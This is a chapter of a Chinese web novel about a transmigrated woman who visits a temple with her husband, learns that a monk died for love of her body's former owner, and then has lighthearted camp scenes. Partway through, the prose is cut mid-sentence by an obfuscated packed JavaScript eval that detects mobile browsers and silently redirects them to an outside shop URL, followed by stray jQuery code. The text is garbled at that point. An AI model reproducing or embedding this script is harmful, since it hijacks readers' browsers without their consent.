11. 南山寺一日游
作品:《成为千金贵女后》 不知是不是沈梦安心里挂念,梦里原主久违的再次出现。
但这次平静了不少,只是站在水里遥看着她,沈梦安想上前,却被荡起的水波阻挠,再抬眼时,便已消失不见。
徐子清看着前几日还兴致勃勃的人,今天就恹了,也不知是不是才反应过来。
马车里温度也不算低,徐子清递过去一把扇子,沈梦安眼皮放下缓了两秒才又睁开,脸上的表情也变了个模样,又端成了无忧的相府千金。
接过扇子的同时对徐子清说:“我昨晚做了个梦。”
“梦里有一首诗,还挺有禅意的,意思大概是说入梦看见了双生莲,而水色也因此变得清明澄澈,醒来之后,昭昭安平。”
“我在梦里把它背了好几遍,结果!”
沈梦安有些气愤,“结果我一醒来就给忘了,怎么也想不起。”
“可难受死了,扰得我心烦意乱,越想越气不过。”
徐子清看起来是信了。
他思索一番,寻着记忆念了几首意思相近的给沈梦安听,沈梦安摇头,都不太对。
她听徐母说过,徐子清记忆很好,看过两遍的文章基本不会忘,那家里的诗词就没有再去看的必要。
沈梦安知道,如果这首诗真的至关紧要,就一定不会那么容易找到。
不知这次诗酒宴能不能有点线索。
不过去诗酒宴前,他们得先去一趟南山寺。
南山寺,顾名思义,背靠南山。前有开阔水面,草木茂盛山形平缓,讲究风水格局。
沈梦安越是靠近,心里便越是打鼓,头也开始若有似无地涨痛。
他们现在在湖中央的桥上,沈梦安明明是第一次来,脑海里却莫名出现一些不属于她的记忆。
就比如,这段桥过去,会有不算多的十几阶台阶,台阶上去寺门前会有两颗相对而立的槐树,茂盛却也超过寺门不多。
再比如,寺门进去,正对着的大殿里,供奉着横三世佛……
她甚至还知道这座寺庙里留得最高的一棵树在哪里。
这些都是原主身体里留存的记忆吗……
因为和她这个鸠占鹊巢的内里相互排斥,所以才会产生头痛的排异反应。
“娘子应该觉得眼熟吧。”
徐子清一直在观察着他这位娘子的反应,很明显,他看出了沈梦安的异常。
“我之前来过?”沈梦安顺着话音问。
两人走过桥头,踏上石阶,徐子清说:“听说娘子未成亲之前酷爱此地。”
意思就是沈梦安常来,那难怪她会有那些记忆了。
果然是原主的。
这还是她第一次这么清晰的感受到这具身体残留的痕迹,就像一个盒子,措不及防就被她这么打开了,连准备都没有。
沈梦安问:“是因为这里很灵验吗?”
徐子清递给了沈梦安一个讶异的表情,随后敷衍点头,“确实灵验。”
“看着香火也不错。”沈梦安这时还没反应过来,看着来往人群,依旧老实对话附和。
穿过槐树,走进寺内,两人越过中间香火旺盛的莲花香炉,直接去了主殿。
主殿内三佛金光照人,佛身高大肃穆,尽管记忆里已经存在过,亲眼见到,沈梦安还是不由得生出敬畏。
两人并跪于蒲团上,各有所求。
“神佛在上,信女沈梦安在此,唯有一愿。”
“只愿回到未来,归还原身。”
“当然,回去的时候希望自己还活着,健健康康的。”
沈梦安许完愿,很虔诚地磕了三个头。
今生有福,来世无忧。
等她拜完起来时,徐子清已经走到一旁在和一个小师父交谈。
“平安符倒是还有,若施主欲求其它,恐眼下不便满足。”
“为何?”沈梦安过去便听到这么一句,不解地问。
徐子清看了她一眼,喉结动了动,最后还是什么都没说。
小师父解释:“看来施主有所不知,本寺住持寂法大师圆寂不久,法事未毕……”
“抱歉抱歉!”沈梦安简直每天都在身体力行什么叫做祸从口出。
“施主言重。”
平安符到手,沈梦安赶紧拉着徐子清朝外去,“你刚刚干嘛不提醒我一下,我问得太唐突了吧!”
徐子清用很奇怪的眼神看向沈梦安,“娘子可知怀远大师?”
“怀远——嗡!”
这个名字落进沈梦安脑海里的瞬间,砸起狂风般的耳鸣。
她用力甩了甩头,待这阵头晕眼花过去才问:“他是谁?”
徐子清看着沈梦安疑惑的表情不似作假,眉头微皱,难道是他判断失误,沈梦安真的失忆了?
那他这位娘子当真是蒙在鼓里,清清白白?
“娘子是真的记性不好。”徐子清懒得遮掩,“怀远师父不正是娘子不久前的殉情对象吗?”
“什么?!”沈梦安日常怀疑耳朵中。
那么……等一下!
大师?
和尚?
寺庙!
……沈梦安突然就明白了徐子清这一路上投来的八百个眼神。
沈梦安:“是故意的吗?”
徐子清一愣,摇头,君子不立于危墙之下。
沈梦安这才松下一口气,不是故意的就行,但她还是忍不住抱怨道:“你刚怎么不早说!我这拐人子弟,害人性命,还当作无事发生大摇大摆和你一起进去拜佛,这……太过分了吧!”
“我没想到娘子对此一无所知。”徐子清说的是实话,活生生一人为她殉情而死,竟没人给沈梦安提过一句。
难怪欲言又止的。
真是罪过啊,沈梦安不好意思再待下去,匆忙回了马车。
怀远,怀远……沈梦安在心里默念,这个名字她总有种属于她自己的格外的熟悉感,
沈梦安闭上眼靠着马车壁,仔细搜罗自己的记忆,怀远……怀……
电光火石间,一个久违的身影从记忆深处浮现起来——和她在同一个公司的师兄不就叫李怀远吗!
平时对她还挺照顾,因为是同校出来的,第一次什么不懂的都会耐心给她说,怎么会忘呢?!
沈梦安心里咯噔一下,隐约觉得不对,却又说不上来,只好把这丝不安暂且压下。
因为做梦的缘故,沈梦安昨夜没睡好,隐约听到徐子清说路程还远,心里便彻底放下,关闭了感官。
徐子清一直在给沈梦安扇凉,扇了好一会儿突然发现沈梦安许久未有动静,一看才发现是睡着了。
看着不断点头摇头的自家娘子,徐子清突然福至心灵,虽然书里没教,但他还是坐了过去,把沈梦安的头轻轻放到自己肩头。
沈梦安似有所感,自己调整了两下便安心枕着睡了过去。
等她睡饱过来的时候,不安的思绪已经沉下,脑袋空空,反而轻松了许多,想不通的事就不想了,走一步看一步吧。
马车里只有她一个人,她不知道自己是怎么躺下的,但是她记得枕头没这么软啊?
或许是她记错了。
掀开帘子,外面升了个火堆,一群人却离火堆有点远。
徐子清看到沈梦安醒了,自然的走过来伸手,沈梦安其实自己可以走的,梯子都搭在那里。
但看着向自己伸出的那只干净白皙的手……
“怎么了?”徐子清迟迟不见动作,问。
沈梦安把手搭上,触感一如成亲那日,“没什么,走吧。”
大户人家不一样的地方就是出行跟玩一样,虽然他们就是去玩。
沈梦安
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495749|202491||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
坐在椅子上,面前还有一个小桌子。
“娘子先吃点东西吧。”徐子清从桌上分好的鸡肉里夹了个鸡腿给沈梦安。
沈梦安没拒绝,尝了一口,味道很不错。
但她也立马注意到了徐子清面前黑乎乎的一摊,问“那是什么?”
因为他们出行是带了伙夫的,桌上荤素都有,但唯独那摊黑色的东西很可疑,沈梦安还以为是什么新菜。
只见徐子清像突然想起来一样,慌慌张张放下筷子,手上一扫就啪的掉在了地上。
场面一时有些尴尬。
沈梦安也不知道为什么徐子清突然反应这么大。
尬笑还没拉开嘴角,徐子清就腾得起身拿帕子抓起那摊东西,少见地磕绊:“我,我手脏了,去洗个手。”
然后匆匆走远了。
这时来捡盘子的婆子才说,“公子什么都好,读书也好,就是这饮酒和做饭实在不擅长。”
“偏偏这烤鸡又是个不好掌握的活。”
听到这儿,沈梦安就明白了,想到徐子清刚刚的反应,顿时觉得好笑。
旁边婆子也跟着憋不住笑了两声才说,“小姐你慢吃,我去将这盘子洗了去。”
也不知道徐子清跑了多远去扔,沈梦安都快吃完了,他才悠悠回来。
回到马车睡觉的时候,沈梦安想起还是觉得好笑,故意调侃道,“今天的鸡肉怎么没皮呀,唉,我还说吃点美容养颜呢,可惜了。”
沈梦安故意拖长了声音,调子抑扬顿挫的。
徐子清一听果然不自在起来,翻了一面背对沈梦安,一本正经纠错:“鸡皮吃了不能美容养颜。”
“啊?”沈梦安故作惊讶,又迅速作遗憾状,“可是烤得焦香酥脆的外皮真的很好吃诶。”
“子清不觉得吗?”沈梦安边说边观察徐子清面色,“用火这么随一烤,皮肉里面的油就会滋滋冒出来,不需要太多调味,撒一点点盐,咬上一口……嗯,美味至极!”
徐子清脸上青一阵红一阵的,他前面十分怀疑沈梦安是故意的,但听她这么说下来,再联想到红烧肉这种腻腻的沈梦安也喜欢吃。
徐子清转回来,抱臂平靠,语气认真,“不耽误的话,明日午后便能到,到时候我叫厨子给你做。”
“噗哈哈哈!”
沈梦安大笑出声,实在憋不住了。
后果就是,徐子清不理人了。
沈梦安左哄右哄好说歹说,徐子清还是闭着眼背对她,留下一个红透了的耳朵孤零零没地方藏。
第二日起来,沈梦安就觉得不对,自己手上、脖颈都痒得不行。
巧燕一看才知道是让蚊子给咬了,晚上不自觉,好多地方都挠破了。沈梦安心虚地避开巧燕怒火,昨晚巧燕特地提醒过她喷驱蚊水,她光顾着逗人就给忘了。
重新喷了驱蚊水,摸了点清凉的膏药,沈梦安觉得没啥事便又上了马车,不想因为这点小事耽误行程。
徐子清还在和她怄气,看都不看她,自然也就没发现她被蚊子强吻。
走了不知多远的路程,清凉的药效过去,沈梦安开始不得劲,手上和脖颈处传来钻心的痒意。
她将脸朝向窗边,带了一丝凉意的风让她稍微好受几分,可没一会儿效果就不再显著。
沈梦安一忍再忍,一只手用力到把衣服攥得起飞。
她就轻轻挠一下,就一下。
过了一会儿……
就一下,真的,最后一下。
又过了一会儿……
这次真的最后一下,绝对!
再过了一会儿……
啊啊真的好痒!怎么越挠越痒,真的真的最后一下!
最后沈梦安想,干脆破罐子破摔,挠个舒服!
指甲刚碰上皮肉的瞬间,就被横出来的一只手截住了。

